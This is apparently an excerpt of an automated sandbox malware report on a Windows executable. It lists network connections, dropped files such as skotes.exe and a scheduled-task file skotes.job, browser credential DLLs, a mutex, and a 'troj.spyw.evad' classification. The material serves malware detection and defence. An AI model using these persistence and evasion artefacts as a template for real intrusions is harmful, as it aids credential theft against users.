Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50003 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name:
Source: KKFBAAFCGI.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C96F280

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9635A0	0_2_6C9635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C34A0	0_2_6C9C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC4A0	0_2_6C9CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D4D0	0_2_6C98D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9764C0	0_2_6C9764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6CF0	0_2_6C9A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4E0	0_2_6C96D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5C10	0_2_6C9A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2C10	0_2_6C9B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DAC00	0_2_6C9DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D542B	0_2_6C9D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D545C	0_2_6C9D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975440	0_2_6C975440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0DD0	0_2_6C9A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C85F0	0_2_6C9C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98ED10	0_2_6C98ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990512	0_2_6C990512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FD00	0_2_6C97FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985E90	0_2_6C985E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CE680	0_2_6C9CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4EA0	0_2_6C9C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96BEF0	0_2_6C96BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FEF0	0_2_6C97FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D76E3	0_2_6C9D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7E10	0_2_6C9A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5600	0_2_6C9B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C9E30	0_2_6C9C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989E50	0_2_6C989E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A3E50	0_2_6C9A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2E4E	0_2_6C9B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984640	0_2_6C984640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C670	0_2_6C96C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D6E63	0_2_6C9D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B77A0	0_2_6C9B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996FF0	0_2_6C996FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96DFE0	0_2_6C96DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7710	0_2_6C9A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979F00	0_2_6C979F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9960A0	0_2_6C9960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D50C7	0_2_6C9D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C0E0	0_2_6C98C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A58E0	0_2_6C9A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977810	0_2_6C977810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB820	0_2_6C9AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4820	0_2_6C9B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988850	0_2_6C988850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D850	0_2_6C98D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AF070	0_2_6C9AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5190	0_2_6C9A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2990	0_2_6C9C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D9B0	0_2_6C99D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C9A0	0_2_6C96C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98A940	0_2_6C98A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB970	0_2_6C9BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB170	0_2_6C9DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D960	0_2_6C97D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DBA90	0_2_6C9DBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97CAB0	0_2_6C97CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2AB0	0_2_6C9D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9622A0	0_2_6C9622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994AA0	0_2_6C994AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A8AC0	0_2_6C9A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C981AF0	0_2_6C981AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE2F0	0_2_6C9AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9A60	0_2_6C9A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F380	0_2_6C96F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D53C8	0_2_6C9D53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD320	0_2_6C9AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965340	0_2_6C965340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C370	0_2_6C97C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0ECC0	0_2_6CA0ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6ECD0	0_2_6CA6ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEAC30	0_2_6CAEAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6C00	0_2_6CAD6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1AC60	0_2_6CA1AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA14DB0	0_2_6CA14DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6D90	0_2_6CAA6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9CDC0	0_2_6CB9CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98D20	0_2_6CB98D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADED70	0_2_6CADED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3AD50	0_2_6CB3AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96E90	0_2_6CA96E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1AEC0	0_2_6CA1AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0EC0	0_2_6CAB0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF0E20	0_2_6CAF0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAEE70	0_2_6CAAEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58FB0	0_2_6CB58FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1EFB0	0_2_6CA1EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA10FE0	0_2_6CA10FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEEFF0	0_2_6CAEEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50F20	0_2_6CB50F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA16F10	0_2_6CA16F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD2F70	0_2_6CAD2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7EF40	0_2_6CA7EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB168E0	0_2_6CB168E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA60820	0_2_6CA60820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A820	0_2_6CA9A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4840	0_2_6CAE4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA09A0	0_2_6CAA09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA9A0	0_2_6CACA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD09B0	0_2_6CAD09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2C9E0	0_2_6CB2C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA449F0	0_2_6CA449F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66900	0_2_6CA66900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48960	0_2_6CA48960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8EA80	0_2_6CA8EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8A30	0_2_6CAC8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEA00	0_2_6CABEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8CA70	0_2_6CA8CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0BA0	0_2_6CAB0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16BE0	0_2_6CB16BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3A480	0_2_6CB3A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA564D0	0_2_6CA564D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA4D0	0_2_6CAAA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74420	0_2_6CA74420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A430	0_2_6CA9A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28460	0_2_6CA28460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA045B0	0_2_6CA045B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA5E0	0_2_6CADA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E5F0	0_2_6CA9E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72560	0_2_6CA72560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0570	0_2_6CAB0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58550	0_2_6CB58550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68540	0_2_6CA68540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14540	0_2_6CB14540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E6E0	0_2_6CA6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE6E0	0_2_6CAAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA346D0	0_2_6CA346D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C650	0_2_6CA6C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3A7D0	0_2_6CA3A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90700	0_2_6CA90700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA200B0	0_2_6CA200B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC0B0	0_2_6CAEC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA08090	0_2_6CA08090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC000	0_2_6CADC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8010	0_2_6CAD8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5E070	0_2_6CA5E070
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004E7049	14_2_004E7049
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004E8860	14_2_004E8860
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004E78BB	14_2_004E78BB
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004E31A8	14_2_004E31A8
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_005B7B6E	14_2_005B7B6E
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004A4B30	14_2_004A4B30
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004E2D10	14_2_004E2D10
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004A4DE0	14_2_004A4DE0
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004D7F36	14_2_004D7F36
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: 14_2_004E779B	14_2_004E779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E978BB	15_2_00E978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E98860	15_2_00E98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E97049	15_2_00E97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E931A8	15_2_00E931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E54B30	15_2_00E54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E54DE0	15_2_00E54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E92D10	15_2_00E92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E9779B	15_2_00E9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00E87F36	15_2_00E87F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E978BB	16_2_00E978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E98860	16_2_00E98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E97049	16_2_00E97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E931A8	16_2_00E931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E54B30	16_2_00E54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E54DE0	16_2_00E54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E92D10	16_2_00E92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E9779B	16_2_00E9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00E87F36	16_2_00E87F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00E6DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00E680C0 appears 260 times
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	Code function: String function: 004B80C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C99CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB9DAE0 appears 43 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9A94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB909D0 appears 175 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA33620 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA39B10 appears 39 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB9D930 appears 34 times

Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2695257510.000000000B932000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2706404847.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jimnplje ZLIB complexity 0.995089518714584

Source: KKFBAAFCGI.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.14.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/51@8/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9C7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\1RXGFH1R.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7260:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\KKFBAAFCGI.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
